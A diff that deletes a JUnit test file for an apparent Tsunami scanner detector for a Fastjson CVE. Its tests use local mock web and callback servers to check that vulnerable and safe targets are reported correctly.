a/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974Test.java +++ /dev/null @@ -1,189 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202570974; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.inject.testing.fieldbinder.Bind; -import com.google.inject.testing.fieldbinder.BoundFieldModule; -import com.google.inject.util.Modules; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link AlibabaFastjsonCve202570974}. */ -@RunWith(JUnit4.class) -public final class AlibabaFastjsonCve202570974Test { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2026-01-23T13:37:00.00Z")); - - @Bind(lazy = true) - private final int oobSleepDuration = 0; - - @Inject private AlibabaFastjsonCve202570974 detector; - private MockWebServer mockWebServer = new MockWebServer(); - private MockWebServer mockCallbackServer = new MockWebServer(); - - private static final String SAFE_INSTANCE_RESPONSE = - "{\t\\\"timestamp\\\":1769092268366,\t\\\"status\\\":400,\t\\\"error\\\":\\\"Bad Request\\\"," - + "\t\\\"exception\\\":" - + "\\\"org.springframework.http.converter.HttpMessageNotReadableException\\\"," - + "\t\\\"message\\\":\\\"JSON parse error: autoType is not support." - + " com.sun.rowset.JdbcRowSetImpl; nested exception is" - + " com.alibaba.fastjson.JSONException: autoType is not support." - + " com.sun.rowset.JdbcRowSetImpl\\\",\t\\\"path\\\":\\\"/\\\"}"; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - mockCallbackServer.start(); - } - - @After - public void tearDown() throws Exception { - mockCallbackServer.shutdown(); - mockWebServer.shutdown(); - } - - private void createInjector(boolean tcsAvailable) { - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(tcsAvailable ? mockCallbackServer : null) - .build(), - Modules.override(new AlibabaFastjsonCve202570974BootstrapModule()) - .with(BoundFieldModule.of(this))) - .injectMembers(this); - } - - @Test - public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() - throws IOException { - ImmutableList httpServices = mockWebServerSetup(true); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - createInjector(true); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - DetectionReport expectedDetection = - generateDetectionReportWithCallback(detector, targetInfo, httpServices.get(0)); - assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); - assertThat(mockWebServer.getRequestCount()).isEqualTo(1); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException { - ImmutableList httpServices = mockWebServerSetup(false); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - createInjector(true); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(1); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - private DetectionReport generateDetectionReportWithCallback( - AlibabaFastjsonCve202570974 detector, TargetInfo targetInfo, NetworkService networkService) { - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(networkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build(); - } - - private ImmutableList mockWebServerSetup(boolean isVulnerable) - throws IOException { - mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); - mockWebServer.start(); - return ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - } - - static final class EndpointDispatcher extends Dispatcher { - EndpointDispatcher(boolean isVulnerable) { - this.isVulnerable = isVulnerable; - } - - private final boolean isVulnerable; - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - if (recordedRequest.getMethod().equals("POST")) { - // Not vulnerable case - if (!isVulnerable) { - return new MockResponse() - .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) - .setBody(SAFE_INSTANCE_RESPONSE); - } else { - return new MockResponse().setResponseCode(HttpStatus.BAD_REQUEST.code()); - } - } else { - // Anything else, return a 404 - return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); - } - } - } -}